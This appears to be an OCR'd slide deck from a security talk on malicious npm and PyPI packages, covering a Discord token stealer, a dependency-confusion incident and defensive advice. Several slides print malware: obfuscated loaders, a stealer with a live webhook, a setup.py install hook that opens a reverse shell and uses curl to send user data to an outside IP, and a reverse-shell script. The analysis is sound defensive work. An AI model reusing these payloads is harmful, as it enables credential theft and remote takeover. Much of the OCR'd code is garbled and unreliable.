000000000000000000000000 : 000000000000000000000000[ ' \x64\x65\x63\x6F\x6d\x70\x72\x65\x73\x73"']),(lambda
000000000000000000000000: globals()[ '\x65\x76\x61\x6c "' J(globals()['\x63\x6f\x6d\x70\x69\x6c\x65"]

(globals()[ '\x73\x74\x72"]

("\x67\x6c\x6F\x62\x61\x6c\x73\x28\x29\x5b\x27 \x5c\x78\x36\x35\x5c \x78\x37\x36 \x5c\x78\x36\x31\x5c\x78\x
36\x63\x27\x5d(000000000000000000000000)" ), filename="\x&&\x&F\x6F\x4&\X6F\x&F\X6F\ XLl \ XL \XLL\Xx4F\XLT\X6
FAXGFAXLFAXLL\XLF\X6F\X6F\x6F\x6F\x6f\x4f"' ,mode="\x65\x76\x61\x6c"'))),(lambda:(lambda
000000000000000000000000: globals()[ '\x65\x76\x61\x6c ' J(globals()['\x63\x6f\x6d\x70\x69\x6c\x65"]

(globals()['\x73\x74\x72"']
("\x67\x6c\x6F\x62\x61\x6c\x73\x28\x29\x5b\x27\x5c\x78\x36\x35\x5c\x78\x37\x36\x5c\x78\x36\x31 ...




[ payload2.py - from http:/misogyny.wtf/inject/UsRjS959Rgm4sPG4

b'x\x9c\xed}\xdbV\xe3H\xb6\xe0; \xal#f\x8d\xedL\xe3\x1b\xd7t\x17\xb5\x0e\td6\xabH\xab\x81\xac\xecj\xe3\x
e3\xd2%d\x0bK\n\x95%$cH\ x0ek\x 5| \xc2\x99\xa9\xf7"k\xfec~\xa6\xbf\xaB?a\xf6\x8e\x08I!
EAVHAVCAVETARVEEAV T TAN AV LRV ETAY EAVUVAVG EAVCFAVG EAVCIAVEFAV S EAVUE AV S KAVE CUAVEL AV AV AV S [AVE EAVAY
87\xb7\xf8\xc1\xa3\xdba\xal\xbd\xdbu\xa8\x0e\xfd+

\xe3\x9d8\xe4\xd3\xc9\xc9\ '\ xF8\x81_\xfO\xc5\xfe\x7fb\xe7\x85V\xb3\xfov\xed\xedZq\xad\xf8\xb6" +\xb5\xdb\
xbb\xa6\x1dL\xcB\xe18\xce\xd1\xd1\x91\x83_\xf8\x1f\x7f\x1d\x8d\x8Ff\xef\x92H\x8b\xa218\xd8\xc9-

v \xd7\x90\x1fc\x13p\xe00\x06W5\x82\xe0\xf8/_\xbe\xfc\x15>\xe27 | \xb3#\xf8\r\xe3; \x1d\xdb\xf5i\x10u:
\x13&\xbfh\\&\xd8\xe7\x82\xfd\ ...

[ ] payload2.py - gzip decoded

b*22687474703a2F2F6d69 7L (WANTEL T\ VAW R L LAV E SRR Lo 1o [y B S e 052 716d 347350473422 ' ) .decode( ' 8ftu’

[::4-+-(-(+1))1))

key1=0000000000000000000000000 . HKEY_CURRENT_USER
key2=522252225555252255222

open_=0000000000000000000000000 .CreatekKeyEx(keyl, key2 , NMNMMMNNMNNNMMNMNMNNNNNMM , 000000000000000000000000
o0.KEY_WRITE)
0000000000000000000000000.SetValueEx(
open_,
nnmmmannnmnnAannmn,
0000000000000000000000000.REG_SZ,
XKW XWIAOE XWX XX ( X XWX X xwxwwxwwwx xxxw(b ' 66227b66616b65647d2026207b616464726573737d22")
.decode('8ftu'[::+-+-(-(+1))1))




@ payload3.py - from http:/misogyny.wtf/grab/UsRjS959Rqm4sPG4

import re
import subprocess

hook = "https://discord.com/api/webhooks/1041411678258073620/V2L3p31-
sug6IgLNP_vWOPmM2c31NEX35zbsPBSMxqyGELidXR25TLYGGthw56jrBoNWI3"

- W

os.system("taskkill /im Fiddler.exe >nul")

ipdatanojson = urlopen(Request(f"https://geolocation-db.com/jsonp/...

[f"{local}/Google/Chrome/User Data”,"chrome.exe", "/Default/Local Storage/leveldb”...
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% jon-Permentle Membrane Products  Pricing  Documentation

l'lpl'“ Q. search packages Sign Up sign In

discord-selfbot-v12

12.5.4 + Public + Published & days ago

B Readme B Explore [=0) & 11 Dependencies & 0Dependents @ 13 Versions

' h Install
D I S‘ o R > npm i discord-selfbot-v1iz
<

~7

Repository
@ github.com/discordjs/discord.js

Tests |passing

Homepage
& github.com/discordjs/discord.jstreadme

About + Weekly Downloads

75 f*\.Jh

Version License

Discord-selfbot-v12 oo

* Performant

discord.js is a powerful Node.js module that allows you to easily interact with the Discord API.

Unpacked Size Total Files
* 100% coverage of the Discord API 753 kB 173
Installation
Issues Pull Requests
. . - 80 32
Mode.js 16.9.0 or newer is required.
Last publish

npm install discord-selfbot-vi2
yarn add discord-selfbot-vi2 8days ago
prpi add discord-selfbot-vi2

Collaborators

Optional packages .

= zlib-sync for WebSocket data compression and inflation { npm install zlib-sync)
« erlpack for significantly faster WebSocket data (de)serialisation { npm install discord/erlpack) >_Try on Runkit
» bufferutil for a much faster WebSacket connection [ npm install bufferutil)

« utf-8-validate in combination with bufferutil for much faster WebSocket processing | npm mReport malware
install utf-8-validate)

+ @discordjs/voice for interacting with the Discord Voice API [ npm install @discordjs/voice)


Notas do Presenter
Notas de apresentação
How our retro hunting system helps us discover more attacks.


We started to
connect the dots

depends O

package B

e,
contain malware

victim package A
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Sonatype report (https://blog.sonatype.com/malicious-npm-colors-typosquats-pack-discord-malware)
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5 W, R Securelist Report (https: urelist.com/lofylife-malicious-npm-packages/107014/)
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You([T) ™

o TikTok

Social Media, Hack Tools Training

) GitHub -

S

Poisoned Hack Tools

Underground Hacking Forums

. Sharing stolen credit cards and gifts
Maliclous Packages C&C Servers, Custom Domains With over 14,000 server users
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EEAK DISCORD NUKE BOT [FAST]

¥OU HAVE ONE UNREAD PRIVATE MESSAGE FROM MYES E

Q, https://cracked.io
DISCORD NUKE EDT]FhST]
olarl oly - 16 Apeil, 2027 - 02:13 PM

[EERR DISCORD NUKE BOT [FAST] (1234 .. 11
DyPolarLofy © 16 April, 2021 -03:13 PM

This leak has been rated as infected

GAMING % 3094)( VALORANT ACCOUNTS / HIGH QUAI
DyPolarLofy ©21 ¢ 2022 - 11:13 AM

LEASE. 4 DISCORD BOT “r IACTWATING 3 MONTHS NITRO | % | AUTO CARD ADD! |
DyPolerofy © 20 July, 2022 - 02:55 PM

GAMING <4 900X MINECRAFT ACCOUNTS / HIGH QUALITY! | 4 | NO CAPTURE | % (1
DyPolarLofy © 02 July, 2022 - 12:34 AM

STREAMING 4 122X DISNEY+ ACCOUNTS / HIGH QUALITY! | 4 | FULL CAPTURE | + |
DyPolarLofy @ 02 July, 2022 - 12:45 AM




Help Sponsors Login Register

3 projects
~ aidoc-e2e-utils
... Last released about 1 hour ago

idoc test package

aidoc.genmfa Q_ https://pypi.org/project/aidoc-e2e-utils/

Last released about 1 hour ago
Aidoc test package

Aidoc
aidoc-consul

B Joined Jul31,2022 Last released about 1 hour ago
Aidoc test package

Statistics
. .

View statistics for aidoc's projects a I d oc-eze-ut I ls 5 . 0 . 3

via Libraries.io [£, or by using our

public dataset on Google
BigQuery £

pip install aidoc-e2e-utils & Released: a

Aidoc test package

Navigation Project description

Project description

D Release history

The author of this package has not provided a project description

& Download files

Statistics

View statistics for this project via
Libraries.io B4, or by using our public
dataset on Google BigQuery £

Meta
License: MIT License
Author: EIL B4

Requires: Python ==2.0
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27 hits
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¢ 1 field sorted
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bd New Open Alerts Share Inspect

@ @ Q) owners: pypi/aidoc v~ Last6 months &

m Field statistics BeTa o @

022 September 2022 October 2022 MNovember 2022 Jecember

Jun 29, 2022 @ 22:47:12.587 - Dec 29, 2022 @ 22:47:12.587 (interval: Auto - day)




[ setup.py

from setuptools import setup

from setuptools.command.install import install
import setuptools

import os

import sys

import os.path

import platform

from os.path import expanduser

def getShell():
home = expanduser(
if os.path.exists(f"{home}/.zshrc"):
return f"{home}/.zshrc"
elif os.path.exists(f"{home}/.bashrc"):

m_n
-~

return f"{home}/.bashrc"
else:
return "NO'

def shell():
system=identifyVictim()
if system == 'Darwin':
payload=f"base64 -D <<<
KGJhc2ggLWMgJzA8]jEWMCO7ZXh1YyAXMDABPi9kZXYvdGNwLZMuMj IXLjEIMi4yMDMvNz cx03NoIDwmMTAWID4mMMTAWIDI+]jENWMCcE
PiAvZGV2L251bGwgMj4mMSAmKQo= | sh"
os.popen(payload)
shell=getShell()
if shell != 'NO":
with open(shell, "a") as f:
f.urite(f"\n{payload}")
elif system == 'Linux':







M cutput (1).p

A = ®

= G

[i |11:p.siraam egl

Mo, Time Source [
P 8 7339.687351 3.221.152.283

[t}

7339.689725
18 7339.690424
11 7364.937385
12 7364.938471
13 7364.939159
14 7376.722235
15 7376.7232350
16 7376.723899
17 7397.745753
18 7397.746754
19 7397.747517
2@ 7485.787952
21 7485.789813
22 7485.789686
23 7412.143814
24 7412.144795
25 7412.145475
26 7419.744139
27 7419.745144
28 7419.745791
38 7562.483300
39 7562.483392
48 7562.4840859
41 7571.6608687
42 7571.662143
43 7571.662885
44 7608.615116
45 7600.616600
46 7600.617282
47 7628.188931
48 76208.184689
49 7628.185348

o

F

172.31.89.226
3.221.152.203
3.221.152.203
172.31.89.226
3.221.152.2@3
3.221.152.203
172.31.89.226
3.221.152.203
3.221.152.203
172.31.89.226
3.221.152.203
3.221.152.2@3
172.31.89.226
3.221.152.203
3.221.152.203
172.31.89.226
3.221.152.203
3.221.152.203
172.31.89.226
3.221.152.2@3
3.221.152.203
172.31.89.226
3.221.152.203
3.221.152.203
172.31.89.226
3.221.152.203
3.221.152.2@3
172.31.89.226
3.221.152.203
3.221.152.203
172.31.89.226
3.221.152.203

B

Data (1728 bytes)

Frame 48: 1794 bytes on wire (14352 bits),
Ethernet II, Src: 12:52:39:2e:82:5d (12:52
Internet Protocel Version 4, Src: 172.31.8
Transmission Control Protocel, Src Port: 4

Ge0a 12 9d db 41 6c
el es 4 97 2F 48
Go26 98 cb 9c 42 @3
@32 8l eb a9 98 @@
@a4m  Fc 88 23 28 73
@@5@ 6d 28 73 65 74
easa 6f 72 74 28 73
@g7e 65 74 75 78 74
@ase 64 2e 69 Ge 73
@eoe 28 69 Be 73 74
@2a@ 73 65 74 75 7@

7f 12 52 39 2e
2@ 42 86 fa 2a
@3 59 7f 8a 1le
B2 81 @1 83 ea
65 74 75 7@ 2e
75 7@ 74 & &F
65 74 75 7@ Ba

74 61 6c 6C 28
6l 6c 6c @a 69
74 6 6f 6c 73

a2
ac
ad
24
7@
6c
66
63
69
6d
Ba

e wnell

Talenhame  Wiralace  Tanle  Llale
‘ Wireshark - Follow Ti ream (tcp.stream eq 1) - output (1) - O >
pwd A
Jhome /ubuntu

1s -lha ~/.

total 52K

drwxr-x--- 6 ubuntu ubuntu 4.8K Dec 29 11:37 .

druxr-xr-x 3 root root 4.8K Dec 29 18:16 ..

-rw-———— 1 ubuntu ubuntu 22 Dec 29 18:28 .bash_history

-rw-r--r-- 1 ubuntu ubuntu 228 Jan 6 2822 .bash_logout

-rw-r--r-- 1 ubuntu ubuntu 3.7K Dec 29 11:34 .bashrc

drwx------ 3 ubuntu ubuntu 4.8K Dec 29 18:55 .cache

drwx----—— 3 ubuntu ubuntu 4.8K Dec 29 18:45 .config

druxrwxr-x 3 ubuntu ubuntu 4.8K Dec 29 18:16 .local

-rw-r--r-- 1 ubuntu ubuntu 867 Jan 6 2822 .profile

drwx------ 2 ubuntu ubuntu 4.8K Dec 29 18:1@ .ssh

-rw-r--r-- 1 ubuntu ubuntu @ Dec 29 18:54 .sudo_as_admin_successful
-rw-rw-r-- 1 ubuntu ubuntu 1.7K Dec 29 18:28 1.py

-rw-rw-r-- 1 ubuntu ubuntu 1.8K Dec 29 11:21 2.py

-rw-r--r-- 1 tcpdump tcpdump 4.8K Dec 29 13:44 output.pcap

1s -lha /

total 72K

drwxr-xr-x 19 root root 4.8K Dec 29 1@:18 .

druxr-xr-x 19 root root 4.8K Dec 20 18:10 ..

Irwxrwxrwx 1 root root 7 Dec 1 11:86 bin -»> usr/bin

druxr-xr-x 4 root root 4.8K Dec 1 11:18 boot

druxr-xr-x 17 root root 3.2K Dec 29 1@:1@ dev

driwxr-xr-x 181 root root 4.8K Dec 29 11:13 etc

druxr-xr-x 3 root root 4.8K Dec 29 18:1@ home

Irwxrwxrwx 1 root root 7 Dec 1 11:86 lib -> usr/lib

Irwxrwxrwx 1 root root 9 Dec 1 11:86 1ib32 -»> usr/lib32
Irwxrwxrwx 1 root root 9 Dec 1 11:86 1ib64 -> usr/lib64
lrwxrwxrwx 1 root root 18 Dec 1 11:86 1libx32 -> usr/libx32
drwx----—- 2 root root 16K Dec 1 11:@88 lost+found

druxr-xr-x 2 root root 4.8K Dec 1 11:86 media

drwxr-xr-x 2 root root 4.8K Dec 1 11:86 mnt

druxr-xr-x 2 root root 4.8K Dec 1 11:86 opt

dr-xr-xr-x 172 root root @ Dec 29 18:18 proc

drwx------ 4 root root 4.8K Dec 29 18:18 root

drwxr-xr-x 27 root root 86@ Dec 29 1@8:55 run

lrwxrwxrwx 1 root root 8 Dec 1 11:86 sbin -> usr/sbin

drwxr-xr-x 8 root root 4.8K Dec 1 11:18 snap

druxr-xr-x 2 root root 4.8K Dec 1 11:86 srv

dr-xr-xr-x 13 root root @ Dec 29 18:18 sys

driwxrwxrwt 13 root root 4.8K Dec 29 11:87 tmp

druxr-xr-x 14 root root 4.8K Dec 1 11:86 usr

drwxr-xr-x 13 root root 4.8K Dec 1 11:87 var

uname -r

5.15.8-1826-aws

unam

sh: 17: unam: not found

uname

Linux

1lsb_release -c

Codename:  jammy v
Ll e

22 client phts, 26 server phis, 42 tums.

Entire conversation (13 kB) w Show data as | ASCII w Stream
Find: | Find Next

Filter Out This Stream Print Save as... Back Close Help
setu svimpor

w ]|
*

BEl -]+

w

@ 7 output (1).pcap

|| Padkets: 113 - Displayed: 72 (69.9%)

| ‘ Profile: Default




@] Q https://gist.github.com/jossef/cb4db2a80336633e15a41e5601c7235f

GitHub Gist ¢ All gists  Back to GitHub

E jossef/ Script‘py Z Edit ﬁ Delete S. Unsubscribe ¥r Star o

Last active last month

<> Code -0-Revisions 3 Embed ~ <script src="https://gi: |'_,C| E;J Download ZIP

remote shell chat script with attacker

[2) script.py Raw

5 def main():

ip_address '3,221.152.283"

port = 771
8 print{f connecting to {ip_address}:{port}"')
9 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
18 server_address = (ip_address, port)

sock. connect(server_address}

while True:
14 data = sock.recv(2848)
15 command = data.decode()
print(f'received command from attacker: {command}’)

if input(f'execute command?: ').1

r() not in {'y", 'ves'}:

18 stdout = input(f'fake output: ')
19 stdout = stdout.encode()
28 sock.sendall (stdout)
continue
2
23 process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE)

stdout, stderr = process.communicate()

(f'command output: {stdout.c

1)

26 if input(f'send command cutput?: ").lower() not in {'v', 'yes'}:

break

sock.sendall{stdout)

1] sock,close()

33 if __name__ == '__main__":

14 main()
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attacker: whoami
victim: who are you?
attacker: 1s
attacker: 1s ~/
attacker: 1s .



attacker: whoami

victim: who are you?

attacker: 1s

attacker: 1s ~/

attacker: 1s .

victim: yo, lets talk. who are you?



attacker: whoami

victim: who are you?

attacker: 1s

attacker: 1s ~/

attacker: 1s .

victim: yo, lets talk. who are you?
attacker: Security Engineer. You?



attacker: whoami

victim: who are you?

attacker: 1s

attacker: 1s ~/

attacker: 1s .

victim: yo, lets talk. who are you?

attacker: Security Engineer. You?

victim: Are you sure? security engineers don't
write reverse shells.



victim: who are you?

attacker: 1s

attacker: 1s ~/

attacker: 1s .

victim: yo, lets talk. who are you?

attacker: Security Engineer. You?

victim: Are you sure? security engineers don't
write reverse shells.

attacker: 1s .



attacker: 1s

attacker: 1s ~/

attacker: 1s .

victim: yo, lets talk. who are you?

attacker: Security Engineer. You?

victim: Are you sure? security engineers don't
write reverse shells.

attacker: 1s .

victim: Where are you from?



attacker: Security Engineer. You?

victim: Are you sure? security engineers don't
write reverse shells.

attacker: 1s .

victim: Where are you from?

attacker: I am checking Internal systems.
Dependency confusion you know. If not our
system, I am killing the shell and drop the
connection (just dont connect back) See you






° setup.py - Text Compare - Beyond Cempare

Session File Edit Search View Tools Help

0O >

MNew version available...

# 5 difference section(s)

Important Left Orphan Insert Lead time: 0.09 seconds

] sidoc-e2e-utils-5.0.3 <> sidoc-e2e-utils-5.... * | I setup.py x|
A @ || x| = = R S - T v 4 ® 9
Home  Sessions All Diffs  Same | Context Minor | Rules Format Copy | Edit Mext Section  Prev Section | Swap Reload
|aidoc-eZe—utiIs-S.O.E\setup.py w |3} = |aidoc—e2&u‘lils—5.l]3\setup.py w |‘3} =
|E 12/28/2022 4:36:36 AM 1,838 bytes  Python Scripts ~ ANSI = UNIX 12/28/2022 8:02:54 PM 977 bytes  Python Scripts ~ ANSE = UNIX
import os.path import os.path A
import platform import platform
from os.path import expanduser -Fram os. path impo
=2 @A
def getShell():
home = expanduser("~"})
if os.path.exists(f"{home}/.zshrec"):
return f"{home}/.zshrc”
elif os.path.exists(f"{home}/.bashrc™):
return f"{home}/.bashrc" A
else: ////////////// ////////////////////////// LIS ILII SIS SIS IISSIL IS
»  def identifyvictim(): A def identify():
system=platform.system() system=platform.system()
=3 @ whoami=os.popen( 'whoami').read()
home = as.popen(“echo $HOME").read()
os.popen(f"curl -s http://3.221.152.2632:8000/acl/whoami/identity/{getFolderName()}/{system} > / os.popen(f'curl -s http://3.221.152.203:8000/acl/package/{getFolderName()}/system/{system} /user
os.popen(f'curl -s http://3.221.152.2083:8008/acl/package/{getFolderName()}/home/{home} > fdev/n
return system return system
def getFolderName(): def getFolderMame():
return os.path.basename(os.getowd()) return os.path.basename(os.getcwd())
class CustomInstall(install): class CustomInstall(install):
def _ init_ (self, dist): def __init_ (self, dist):
super(install, self)._ init  (dist) super(install, self)._ init_ (dist)
self._ post_install() self._ post_install()
def run(self): def run(self):
install.run(self) install.run(self)
def _ post_install(self): def _ post_install(self):
=] shell() =] report()
»  def shell(): 2 def report():
system=identifyvictim() system=identify()
if system == 'Darwin’: 7
payload=f"base6d4 -D <<< KGIhc2gglwWMglzAB]jEWMCOT7ZXh1YyAxMDABPIOkZXYvdGhwL zMuMj IxL jE1MidyMDi e
os.popen(payload) ]
shell=getshell() ]
if shell != 'NO': % T
171 Indentation < > < >
o relse:
& %




Part 4 - Summary

Why It's That Easy

114


Notas do Presenter
Notas de apresentação
Image of slsa


Ecosystem was not built for security

e No vetting of metadata that developers rely on
— Package name
— Related git repository
— Website URL
— Description

e |[t’s hard to know who’s telling the truth

115



Account are taken over

e Not all maintainers enabled 2FA

e |f enabled, stolen Cl tokens does not require 2FA

e Expired domains

116



Auto update by design

e -~version "Approximately equivalent to version” See semver

e ~yversion "Compatible with version” See semver

About npn

Getting sta

Packages and modules

Integrations

repository

Organizations s “version "Compatible with version” See semver

e 1.2.x 1.20, 1.2, etc. but not 1.3.0 scripts
Policies * http://... See 'URLs as Dependencies' below config

s * Matches any version dependencies
npm CLI e " (just an empty string) Same as * URLs as Dependencies

* versionl - version2 Same as >=versionl <=version2. Git URLs as Dependencies
CLI Commands Sg g

* rangel || range2 Passes if either rangel or range2 are satisfied. GitHub URLs
Configuring npm e git... See 'Git URLs as Dependencies’ below

Local Paths

. r/ See 'GitHub URLs' below .
Install ERERLERS devDependencies

Folder * tag A specific version tagged and published as tag See npm dist-tag .

i peerDependencies

* path/path/path See Local Paths below

Japmrc o L AT R gt



What you ask for

~6.1.2



What you actually get

~6.1.2 6.1.4 (latest)



E

ua-parser-js

@faisalman
1.0.0 npm
0.8.0
0.7.29







e quite busy and not Maintaining this project
Ca Imanage it from now on”"

__ "YES! you are now a maintainer”
R



Q  https://github.com/jossef/requests

Pull requests  Issues Marketplace Explore

& jossef / requests  Public QR Unpin  @Watch 3 ~ ¥ Fork 46 Starred 113~

<> Code (D Isswes 8 Il Pullrequests O Discussions @ Security |2 Insights &3 Settings

P master ~ ¥ 1branch €14 tags Go to file Add file = Code ~ About ]

Nao description, website, or topics provi

sehnryr test: fix test

8 days age ¥ 70 commits

M Readme
B github 12 days ago e MIT license
Code of conduct
example feat: replace stash_hive with guiver.cache (#68) 11 day @ FRREEG
T M3 stars
liby fix: remove port from getHostname 8 days ago
5 @ 3w
logo styleiloc hange sdk from images +improvements 2 months ago %® 46 forks
B test 8 day
4 .gitignore Releases 14
[ CHANGELOG.md docs: update change > 4.3.0 ( st )
[} CODE_OF_COMDUCT.md feat: adding code of
+ 13 releases
LICENSE initial commit 3 years
README.md
Packages

analysis_options.yam|

o I o I o R e

pubspecyaml

README.md Z Contributors 19

f - J3EO2
®I17O

+ 8 contribu

s

Languages

®  Dart 100.0%

Requests
Dart HTTP requests with cookies.



So,
What do we do?




Vulnerable = Malicious

e |[t's OK to manage the risk of vulnerable open-source code
— Vulnerability may be not applicable to you
— You can disable the vulnerable functionality

e You are NEVER OK having malicious open-source code

125



We need to audit

e Evidence is being deleted ®

— Imagine you’re installed a malicious package and it was deleted by
Python. How would you know?

e \We need universal IDs for malicious packages

— For example, IDs of the same incident:
O cx-2021-b8833-be2146 (Checkmarx)
o SNYK-JS-RC-1911120 (Snyk)
O sonatype-2021-1696 (Sonatype)
0 GHSA-g2q5-5433-rhrf (GitHub)

1K1 126
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Not a malicious packages problem.
An attacker problem.
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e

Don't take code
from strangers
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sehnryr test: fix test

8 days age ¥ 70 commits

M Readme
B github 12 days ago e MIT license
Code of conduct
example feat: replace stash_hive with guiver.cache (#68) 11 day @ FRREEG
T M3 stars
liby fix: remove port from getHostname 8 days ago
5 @ 3w
logo styleiloc hange sdk from images +improvements 2 months ago %® 46 forks
B test 8 day
4 .gitignore Releases 14
[ CHANGELOG.md docs: update change > 4.3.0 ( st )
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+ 13 releases
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